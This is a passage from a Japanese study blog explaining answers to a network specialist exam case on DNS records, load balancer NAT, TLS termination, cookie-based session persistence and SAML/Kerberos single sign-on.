tabindex="0"><code><span class="line"><span style="color: #F8F8F2">@       IN  SOA  ns.example.jp. hostmaster.example.jp. (省略)</span></span>
<span class="line"><span style="color: #F8F8F2">        IN  a=NS   ns.example.jp.</span></span>
<span class="line"><span style="color: #F8F8F2">        IN  b=MX   10 mail.example.jp.</span></span>
<span class="line"><span style="color: #F8F8F2">ns      IN  A    c=100.α.β.1</span></span>
<span class="line"><span style="color: #F8F8F2">ecsv    IN  A    (省略)</span></span>
<span class="line"><span style="color: #F8F8F2">mail    IN  A    d=100.α.β.3</span></span>
<span class="line"><span style="color: #F8F8F2">@       IN  SOA  ns.y-sha.example.lan. hostmaster.y-sha.example.lan. (省略)</span></span>
<span class="line"><span style="color: #F8F8F2">        IN  NS   ns.y-sha.example.lan.</span></span>
<span class="line"><span style="color: #F8F8F2">        IN  MX   10 mail.y-sha.example.lan.</span></span>
<span class="line"><span style="color: #F8F8F2">ns      IN  A    e=192.168.1.1</span></span>
<span class="line"><span style="color: #F8F8F2">ecsv    IN  A    (省略)</span></span>
<span class="line"><span style="color: #F8F8F2">mail    IN  A    f=192.168.1.3</span></span></code></pre></div>



<figure class="wp-block-image size-full"><img decoding="async" width="670" height="213" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-92.png" alt="" class="wp-image-8263" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-92.png 670w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-92-300x95.png 300w" sizes="(max-width: 670px) 100vw, 670px" /></figure>



<p class="wp-block-paragraph">この問題は表１を参考にしながら埋めていく問題である。以下の手順で考えるとわかりやすい。<br>①外部用か内部用かを把握する（これにより変換前のIPか変換後なのかが分かる）<br>②サービスを特定する（ホストからMX、NS、HTTPなどを判断できるので、あとはそのサービスに対応するプロトコルのIPを選ぶ）<br>以上の２ステップにより適切なIPを埋めることができる。</p>



<h2 class="wp-block-heading"><span id="toc3">設問２</span></h2>



<h3 class="wp-block-heading"><span id="toc4">（１）コモン名とURLのドメイン名が異なるから</span></h3>



<p class="wp-block-paragraph">これはサーバ証明書の検証の際に、エラーがなぜ起きたのかが問われている。<br>サーバ証明書の検証では主に以下のことを確認する<br>・証明書の有効期限<br>・CRLやOCSPを使って失効状態の検証<br>・証明書に付加された署名の検証<br>・アクセス先URLのドメインと証明書のCNまたはSANフィールドに記載されたドメインを確認</p>



<p class="wp-block-paragraph">上記の４つ目の手順がまさに本問の核心。現在の環境では、マルチドメインに対応しておらず、証明書には<span class="bold-blue">CN（コモン名）</span>がecsv.example.jpに対する証明しかできない。そのため、ecsv.y-sha.example.lanの要求に対しては、適切な証明書が返せずエラーになってしまう。</p>



<h4 class="wp-block-heading"><span id="toc5">Q.CNとSANの違いは？</span></h4>



<p class="wp-block-paragraph">CNもSANも、<strong>「このサーバー証明書がどのFQDN（ドメイン名）に対して発行された正当なものか」を証明する識別フィールド</strong>である。</p>



<p class="wp-block-paragraph"><strong>CN（Common Name：コモン名）：<br></strong>　・原則として1つのドメイン名（例: <code>example.com</code>）しか指定できない<br><br><strong>SAN（Subject Alternative Name：主体別名）：<br></strong>　・1つの証明書内に複数のドメイン名を一覧でリスト保持できる（例: <code>example.com</code>, <code>example.jp</code>, <code>sub.example.com</code> など）。<br>　・ドメイン名（DNS Name）だけでなく、IPアドレス（例: <code>192.168.1.1</code>） なども別名として含めることができるため、マルチドメインや柔軟な構成に対応できる。</p>



<h2 class="wp-block-heading"><span id="toc6">設問３</span></h2>



<h3 class="wp-block-heading"><span id="toc7">（３）回答は下図参照</span></h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>図5中の番号</strong></td><td><strong>LBでソースNATを行わない場合送信元IPアドレス</strong></td><td><strong>LBでソースNATを行わない場合宛先IPアドレス</strong></td><td><strong>LBでソースNATを行う場合送信元IPアドレス</strong></td><td><strong>LBでソースNATを行う場合宛先IPアドレス</strong></td></tr></thead><tbody><tr><td>(i)</td><td>200.a.b.c<sup></sup></td><td><span class="bold-blue">i: <strong>100.α.β.2</strong><br></span></td><td>200.a.b.c<sup></sup></td><td><span class="bold-blue">i: <strong>100.α.β.2</strong><br></span></td></tr><tr><td>(ii)</td><td>200.a.b.c<sup></sup></td><td><span class="bold-blue"><strong>j: 192.168.1.2</strong><br></span></td><td>200.a.b.c<sup></sup></td><td><span class="bold-blue">j: <strong>192.168.1.2</strong><br></span></td></tr><tr><td>(iii)</td><td>200.a.b.c<sup></sup></td><td>192.168.1.5<sup></sup></td><td><span class="bold-blue">k: <strong>192.168.1.4</strong><br></span></td><td>192.168.1.5<sup></sup></td></tr><tr><td>(iv)</td><td>192.168.1.5<sup></sup></td><td>200.a.b.c</td><td>192.168.1.5<sup></sup></td><td><span class="bold-blue">k: <strong>192.168.1.4</strong><br></span></td></tr><tr><td>(v)</td><td><span class="bold-blue">j: <strong>192.168.1.2</strong><br></span></td><td>200.a.b.c<sup></sup></td><td><span class="bold-blue">j: <strong>192.168.1.2</strong><br></span></td><td>200.a.b.c<sup></sup></td></tr><tr><td>(vi)</td><td><span class="bold-blue">i: <strong>100.α.β.2</strong><br></span></td><td>200.a.b.c<sup></sup></td><td><span class="bold-blue"><strong>i: 100.α.β.2</strong><br></span></td><td>200.a.b.c<sup></sup></td></tr></tbody></table></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="680" height="175" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-99.png" alt="" class="wp-image-8277" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-99.png 680w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-99-300x77.png 300w" sizes="(max-width: 680px) 100vw, 680px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="581" height="164" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-100.png" alt="" class="wp-image-8278" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-100.png 581w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-100-300x85.png 300w" sizes="(max-width: 581px) 100vw, 581px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="638" height="192" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-101.png" alt="" class="wp-image-8279" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-101.png 638w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-101-300x90.png 300w" sizes="(max-width: 638px) 100vw, 638px" /></figure>



<p class="wp-block-paragraph"><span class="bold-blue">i: <strong>100.α.β.2</strong><br></span>　外部からECサーバにアクセスする際は、HTTPSサービスとしてFWzで<span class="bold-blue">100.α.β.2</span>が公開されている。そのため、外部からECサーバへ来るときの宛先は<span class="bold-blue">100.α.β.2</span>になる。</p>



<p class="wp-block-paragraph"><span class="bold-blue"><strong>j: 192.168.1.2</strong><br></span>　表１のNATテーブルを見ると、100.α.β.2宛てのパケットは、<span class="bold-blue"><strong>192.168.1.2</strong></span>に変換される。なお、<span class="bold-blue"><strong>192.168.1.2</strong></span>はLBの<span class="bold-blue">仮想IPアドレス</span>でもある。</p>



<p class="wp-block-paragraph"><span class="bold-blue">k: <strong>192.168.1.4</strong><br></span>　LBがソースNATを実行する場合は、外部からのパケットの送信元はLB自身のIPアドレスに変換して転送する。<br>　ちなみにここでは、SNATとDNATの両方を実行していることになる。</p>



<h4 class="wp-block-heading"><span id="toc8">Q.LBでソースNATを実施しない場合、ECサーバから200.a.b.cに返信するときにどうやってLBを通すの？</span></h4>



<p class="wp-block-paragraph">A.ECサーバのデフォルトゲートウェイをLB（192.168.1.4）に設定する。そうすることにより、ECサーバからの返信はLBを通る。<br>LBは行きの通信で<span class="bold-blue">DNAT</span>をしているので、そのセッションテーブルを参考に、「<strong>200.a.b.c</strong>からの通信はECサーバ<strong>192.168.1.5</strong>に送った」という変換テーブルを参照する。<br>「あ、これはさっき <code>192.168.1.5</code> に振り分けた通信の返事だな」と認識し、送信元を仮想IPアドレスの<strong>192.168.1.2</strong>に自動変換してしてFWzに返す。<br>＊<strong>この処理をSNATと勘違いしてしまう人もいるがこれは、あくまでもDNATの復路に対する自動処理に過ぎない！</strong></p>



<h4 class="wp-block-heading"><span id="toc9">Q.根本的にLBがSNATを使う時と使わないときのメリット・デメリットって何？</span></h4>



<p class="wp-block-paragraph">「結果的にどちらもLBを通る」という点では同じ。ではこの2つの方式の決定的な違いは、なんなのか。。それは、「<span class="blue">ECサーバーの既存ネットワーク設定（デフォルトゲートウェイ）を変更できるか</span>」と「<span class="blue">ECサーバー側でクライアントの生のIPアドレスを直接知る必要があるか</span>」の2点に集約される。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>SNATを行わない場合（DGW＝LB）</strong></td><td><strong>SNATを行う場合（SNATモード）</strong></td></tr></thead><tbody><tr><td><strong>送信元IP（EC側で見えるIP）</strong></td><td><strong>クライアントの生IP</strong>（<code>200.a.b.c</code>）</td><td><strong>LBのIP</strong>（<code>192.168.1.4</code>）</td></tr><tr><td><strong>EC側のデフォルトゲートウェイ</strong></td><td><strong>LBに向ける変更が必須</strong></td><td><strong>変更不要</strong>（既存のFWzなどのままでOK）</td></tr><tr><td><strong>導入のしやすさ</strong></td><td>ネットワーク構成の変更が必要</td><td>既存構成にLBをポン付け（ワンアーム接続）可能</td></tr><tr><td><strong>ログ確認・IP制限</strong></td><td>Webサーバーのログに生IPが残る</td><td>アプリ/L7側で <code>X-Forwarded-For</code> ヘッダー等の参照が必要</td></tr></tbody></table></figure>



<h4 class="wp-block-heading"><span id="toc10">Q.TLSハンドシェイクはどうなるの？</span></h4>



<p class="wp-block-paragraph">途中の経路でDNAT、SNATが挟まっているとIPアドレスがコロコロ変わる。その場合、TLSハンドシェイクはどうなるの？<br>A.途中の経路でどんなにIPが変わったとしてもTLSハンドシェイクには全く影響がない。ブラウザ（クライアント）がTLSハンドシェイクでサーバー証明書を検証する際、チェックしているのはパケットの宛先IPアドレスではない。ブラウザは「自分がアクセスしようとしたドメイン名」と「証明書に書いてあるドメイン名」が一致しているかだけを検証する。そのため、ヘッダーに書かれたIPアドレスが途中で何回書き換わっていようと、証明書の検証ロジックには1ミリも影響しない。</p>



<h2 class="wp-block-heading"><span id="toc11">設問４</span></h2>



<h3 class="wp-block-heading"><span id="toc12">（１）機器：LB　IPアドレス：仮想IPアドレス</span></h3>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Markdown</span><span role="button" tabindex="0" data-code="@       IN  SOA  ns.example.jp. hostmaster.example.jp. (省略)
        IN  a=NS   ns.example.jp.
        IN  b=MX   10 mail.example.jp.
ns      IN  A    c=100.α.β.1
ecsv    IN  A    (省略)=100.α.β.2
mail    IN  A    d=100.α.β.3
@       IN  SOA  ns.y-sha.example.lan. hostmaster.y-sha.example.lan. (省略)
        IN  NS   ns.y-sha.example.lan.
        IN  MX   10 mail.y-sha.example.lan.
ns      IN  A    e=192.168.1.1
ecsv    IN  A    (省略)=192.168.1.2
mail    IN  A    f=192.168.1.3" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F8F8F2">@       IN  SOA  ns.example.jp. hostmaster.example.jp. (省略)</span></span>
<span class="line"><span style="color: #F8F8F2">        IN  a=NS   ns.example.jp.</span></span>
<span class="line"><span style="color: #F8F8F2">        IN  b=MX   10 mail.example.jp.</span></span>
<span class="line"><span style="color: #F8F8F2">ns      IN  A    c=100.α.β.1</span></span>
<span class="line"><span style="color: #F8F8F2">ecsv    IN  A    (省略)=100.α.β.2</span></span>
<span class="line"><span style="color: #F8F8F2">mail    IN  A    d=100.α.β.3</span></span>
<span class="line"><span style="color: #F8F8F2">@       IN  SOA  ns.y-sha.example.lan. hostmaster.y-sha.example.lan. (省略)</span></span>
<span class="line"><span style="color: #F8F8F2">        IN  NS   ns.y-sha.example.lan.</span></span>
<span class="line"><span style="color: #F8F8F2">        IN  MX   10 mail.y-sha.example.lan.</span></span>
<span class="line"><span style="color: #F8F8F2">ns      IN  A    e=192.168.1.1</span></span>
<span class="line"><span style="color: #F8F8F2">ecsv    IN  A    (省略)=192.168.1.2</span></span>
<span class="line"><span style="color: #F8F8F2">mail    IN  A    f=192.168.1.3</span></span></code></pre></div>



<figure class="wp-block-image size-full"><img decoding="async" width="752" height="117" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-103.png" alt="" class="wp-image-8281" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-103.png 752w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-103-300x47.png 300w" sizes="(max-width: 752px) 100vw, 752px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="710" height="70" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-104.png" alt="" class="wp-image-8282" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-104.png 710w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-104-300x30.png 300w" sizes="(max-width: 710px) 100vw, 710px" /></figure>



<p class="wp-block-paragraph">今までは、100.α.β.2宛ては192.168.1.2にDNATされた後に、ECサーバへ直接転送していた。しかし、LBを導入したことにより宛先をLBの仮想IPに変更する必要がある。<br>そのため、答えは<span class="bold-blue">LB</span>と<span class="bold-blue">仮想IP</span>になる。</p>



<h4 class="wp-block-heading"><span id="toc13">Q.項番5と項番11は変更する必要ある？</span></h4>



<p class="wp-block-paragraph">A.変更する必要はない。なぜならFWzがDNATで使っていた192.168.1.2をLBの仮想IPとして使いまわしているから。そのため、DNSのレコードを変更する必要はない。</p>



<h3 class="wp-block-heading"><span id="toc14">（２）IPアドレス</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="684" height="106" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-106.png" alt="" class="wp-image-8284" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-106.png 684w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-106-300x46.png 300w" sizes="(max-width: 684px) 100vw, 684px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="717" height="178" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-107.png" alt="" class="wp-image-8285" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-107.png 717w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-107-300x74.png 300w" sizes="(max-width: 717px) 100vw, 717px" /></figure>



<p class="wp-block-paragraph">既設ECサーバには192.168.1.2が割り当てられていたが、LBの導入により当該IPをLBが使うことになった。そのため、既設ECサーバの<span class="bold-blue">IPアドレス</span>を変更する必要がある。<br>＊ちなみになぜLBに奪われるかというと、DNSの項番5,11の変更をしないでもよくするため。192.168.1.2をLBに渡せば、DNSを変更することなくHTTPSサービスを運用し続けることができる。</p>



<h4 class="wp-block-heading"><span id="toc15">Q.なんでホスト名を変更する必要があるの？</span></h4>



<figure class="wp-block-image size-full"><img decoding="async" width="679" height="43" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-108.png" alt="" class="wp-image-8286" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-108.png 679w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-108-300x19.png 300w" sizes="(max-width: 679px) 100vw, 679px" /></figure>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Hjson</span><span role="button" tabindex="0" data-code="項番５ ecsv IN A 100.α.β.2

項番11 ecsv IN A 192.168.1.2" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #E6DB74">項番５ ecsv IN A 100.α.β.2</span></span>
<span class="line"></span>
<span class="line"><span style="color: #E6DB74">項番11 ecsv IN A 192.168.1.2</span></span></code></pre></div>



<p class="wp-block-paragraph">LBにecsv1のホスト名を割り当てて、既設ECサーバはそのままecsvのホスト名だったらどうなるの？正直、クライアントからの要求は最終的に192.168.1.2に変換されるのでLBに届く。なので、別に既設ECサーバのホスト名を変える必要はどこにあるの？</p>



<p class="wp-block-paragraph">A.「DNSで <code>ecsv</code> を引いて <code>192.168.1.2</code>（LB）が返ってくる以上、クライアントからの通信は絶対にロードバランサーに到達する」。ここは何の疑いもない動かぬ事実。<br>しかし、メンテナンス時などに、直接既設ECサーバにアクセスしたいときに疎通ができなくなる。ECSVを引いてもLBのIPが返ってくる。かといって、IPアドレスで直接通信を試みると可能っちゃ可能だが、IPアドレスを管理する手間が出てくる。<br>ということで、基本的にはホスト名とIPアドレスは一致させた状態で管理しておくのが定跡というわけである。</p>



<h3 class="wp-block-heading"><span id="toc16">（３）FWzからLBに変更</span></h3>



<p class="wp-block-paragraph">LBでSNATを実行しないとECサーバが直接FWzにパケットを返すことになる。しかし、そうなると送信元はECサーバのIPのままであるためFWzは「え？君からのパケットなんて知らないよ。。」ということでFWzからインターネットへ疎通してくれなくなってしまう。<br>それを防ぐにはLBを経由させて、しっかりとLBに逆DNATをしてもらう必要がある。<br>その方法はシンプルで、ECサーバの<span class="bold-blue">デフォルトゲートウェイをFWzからLBに変更</span>すればインターネット宛てへのパケットはすべてLBを通らせて、しっかりと復路用のDNAT変換をしてFWzに送ってくれる。そうなれば、FWzも「あ、このパケットね！それならちょっと前にセッションテーブルに記録したペアだから、それを変換してインターネットに流すね！」とすることができる。</p>



<h3 class="wp-block-heading"><span id="toc17">（５）既設ECサーバにインストールされているサーバ証明書と秘密鍵のペアをLBに移す</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="752" height="157" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-113.png" alt="" class="wp-image-8297" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-113.png 752w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-113-300x63.png 300w" sizes="(max-width: 752px) 100vw, 752px" /></figure>



<p class="wp-block-paragraph">LBに既設サーバのサーバ証明書と秘密鍵のペアを配置することでLBをTLS終端にする。</p>



<h4 class="wp-block-heading"><span id="toc18">Q.そもそもなぜLBをTLS終端にする必要があるのか？</span></h4>



<p class="wp-block-paragraph">今回の問題の全体像を、正しい因果関係で並べ直すとこうなる👇</p>



<ol start="1" class="wp-block-list">
<li><strong>前提（運用PCとの通信）</strong>:<br>運用PCからECサーバーにアクセスできるようにするため、ECサーバーのデフォルトゲートウェイは FWz にしておく必要がある。</li>



<li><strong>課題1（復路問題）</strong>:<br>デフォゲがFWzだとWebアクセスの戻りパケットがLBを通らないため、LBでソースNAT（SNAT）をして、強制的に戻りパケットをLBに向かわせる。</li>



<li><strong>課題2（IP隠蔽問題）</strong>:<br>SNATをするとECサーバー側でアクセス元のIPが分からなくなるため、<strong>HTTPヘッダーに <code>X-Forwarded-For</code> を挿入したい</strong>。</li>



<li><strong>解決策（TLS終端 ＋ 証明書移行）</strong>: <br>HTTPヘッダーを操作するにはLBで暗号を解く（TLS終端する）必要があるので、<strong>既設ECサーバーの「証明書と秘密鍵」をLBに移してTLS終端を行わせる</strong>。</li>
</ol>



<h4 class="wp-block-heading"><span id="toc19">Q.LBのTLS仲介はどうやってやっているの？</span></h4>



<p class="wp-block-paragraph">SSLオフロード（TLS終端）などでTLSを仲介するときって具体的に何をやっているの？IPアドレスを変えているだけなのかな？</p>



<p class="wp-block-paragraph">A.TLSを仲介するときは<span class="bold-blue">０からパケットを作っている</span>。LBがECサーバから受け取ったパケットを流用しているわけではない。ECサーバからもらったパケットを、必要な情報を抽出し０から適切なパケットを作っている。</p>



<h2 class="wp-block-heading"><span id="toc20">設問５</span></h2>



<h3 class="wp-block-heading"><span id="toc21">（２）サーバの応答に含まれるCookie中のセッションIDが、セッション管理テーブルに存在しない場合。</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="721" height="124" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-115.png" alt="" class="wp-image-8299" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-115.png 721w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-115-300x52.png 300w" sizes="(max-width: 721px) 100vw, 721px" /></figure>



<p class="wp-block-paragraph">ここでは、LBがセッション管理テーブルに登録するトリガーがきかれている。<br>そもそも、セッションIDを作成するのはサーバなので、そのサーバからの応答パケットのセッションIDがセッション管理テーブルにない場合は、新しいセッションとしてセッション管理テーブルに記録する。</p>



<h2 class="wp-block-heading"><span id="toc22">設問６</span></h2>



<h3 class="wp-block-heading"><span id="toc23">（１）アクセス元の購買担当者が所属している会員企業の情報</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="761" height="84" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-117.png" alt="" class="wp-image-8303" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-117.png 761w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-117-300x33.png 300w" sizes="(max-width: 761px) 100vw, 761px" /></figure>



<p class="wp-block-paragraph">この問いでは、SPがIdPにリダイレクトする際に、どの情報を使ってリダイレクト先を割り出すのかが問われている。<br>正解はシンプルで<span class="bold-blue">アクセス元の購買担当者が所属している会員企業の情報</span>である。<br>これだけ聞くと「。。ん？」となるので具体例を出しながら見ていこう！</p>



<p class="wp-block-paragraph"><strong>▼具体的なフロー（SAMLとケルベルスの連携）<br></strong>１．会員企業Aに属するユーザaがECサーバにアクセス<br><span class="bold-blue">２．ECサーバはユーザaの所属する会員企業の情報からIdPを特定しリダイレクト←設問になっている箇所<br></span>３．IdPはユーザからの要求を受けるが、ユーザはSTを持っていないのでST持ってから出直してとユーザに伝える<br>４．ユーザはKDC（TGS）にSTを要求し、発行してもらう<br>５．再度、IdPにアクセスする<br>６．正当なSTがあるのでIdPはユーザにSAMLアサーションを発行してあげる<br>７．SAMLアサーションをECサーバに提示して許可されたユーザであることを証明する<br>８．ECサーバはSAMLアサーションを検証してアクセスを許可する</p>



<h4 class="wp-block-heading"><span id="toc24">Q.そもそもシステムはどうやってユーザが属する会社を判定するの？</span></h4>



<p class="wp-block-paragraph">「購買担当者が所属している会員企業の情報」なんて抽象的な言葉を言われても、「じゃあ実際の画面でユーザーに何を入力させて、システムはどうやってそれを判定するんだよ？」と疑問が出るのは当然のこと。モヤモヤしている「実際にどうやって判定しているのか」をスッキリ整理する。</p>



<ol start="1" class="wp-block-list">
<li><strong>メールアドレス入力方式</strong>
<ul class="wp-block-list">
<li>ログイン画面で <code>tanaka@e-sha.co.jp</code> と入力させる。</li>



<li>ECサーバーは <code>@</code> 以降の <strong><code>e-sha.co.jp</code>（ドメイン）</strong> を見て、「あ、この人はe社だな。じゃあe社のIdPのURLへリダイレクトしよう」と判断する。</li>
</ul>
</li>



<li><strong>企業コード / ドメイン入力方式</strong>
<ul class="wp-block-list">
<li>ログイン画面で「企業コード（またはドメイン）」を入力させる。</li>
</ul>
</li>



<li><strong>企業専用ログインURL方式</strong>
<ul class="wp-block-list">
<li>最初から <code><a rel="noopener" href="https://ec-site.com/login/e-sha" title="Attention Required! | Cloudflare" class="blogcard-wrap external-blogcard-wrap a-wrap cf" target="_blank"><div class="blogcard external-blogcard eb-left cf"><div class="blogcard-label external-blogcard-label"><span class="fa"></span></div><figure class="blogcard-thumbnail external-blogcard-thumbnail"><img decoding="async" src="https://s.wordpress.com/mshots/v1/https%3A%2F%2Fec-site.com%2Flogin%2Fe-sha?w=160&#038;h=90" alt="" class="blogcard-thumb-image external-blogcard-thumb-image" width="160" height="90" /></figure><div class="blogcard-content external-blogcard-content"><div class="blogcard-title external-blogcard-title">Attention Required! | Cloudflare</div><div class="blogcard-snippet external-blogcard-snippet"></div></div><div class="blogcard-footer external-blogcard-footer cf"><div class="blogcard-site external-blogcard-site"><div class="blogcard-favicon external-blogcard-favicon"><img decoding="async" src="https://www.google.com/s2/favicons?domain=https://ec-site.com/login/e-sha" alt="" class="blogcard-favicon-image external-blogcard-favicon-image" width="16" height="16" /></div><div class="blogcard-domain external-blogcard-domain">ec-site.com</div></div></div></div></a>(https://ec-site.com/login/e-sha)</code> のような専用URLを用意しておき、URLから企業を特定する。</li>
</ul>
</li>
</ol>



<h3 class="wp-block-heading"><span id="toc25">（４）①信頼関係のあるIdPが生成したものであること　　　②SAMLアサーションが改ざんされていないこと</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="698" height="78" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-119.png" alt="" class="wp-image-8305" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-119.png 698w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-119-300x34.png 300w" sizes="(max-width: 698px) 100vw, 698px" /></figure>



<p class="wp-block-paragraph">SAMLアサーションで検証できるものは「<span class="blue"><span class="bold-blue">真正性</span></span>（送信元が本物か）」<strong>と</strong>「<span class="bold-blue"><strong>完全性</strong></span>（改ざんされていないか）」である。<br>これは「SAMLアサーションだから」という固有の機能ではなく、基盤となっている「<span class="bold-blue">デジタル署名（公開鍵暗号＋ハッシュ関数）</span>」という仕組みそのものが、本質的に「真正性」と「完全性」を担保する性質を持っているだけの話。<br>この仕組みを使っているTLSハンドシェイクやS/MIMEなどでも同様に真正性と完全性が保証されている。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><span id="toc26">p.12 DNSレコードをどういう流れで使われているの？どうやって見るの？</span></h3>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Markdown</span><span role="button" tabindex="0" data-code="@       IN  SOA  ns.example.jp. hostmaster.example.jp. (省略)
        IN  NS   ns.example.jp.
        IN  MX   10 mail.example.jp.
ns      IN  A    100.α.β.1
ecsv    IN  A    (省略)
mail    IN  A    100.α.β.3
@       IN  SOA  ns.y-sha.example.lan. hostmaster.y-sha.example.lan. (省略)
        IN  NS   ns.y-sha.example.lan.
        IN  MX   10 mail.y-sha.example.lan.
ns      IN  A    192.168.1.1
ecsv    IN  A    (省略)
mail    IN  A    192.168.1.3" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F8F8F2">@       IN  SOA  ns.example.jp. hostmaster.example.jp. (省略)</span></span>
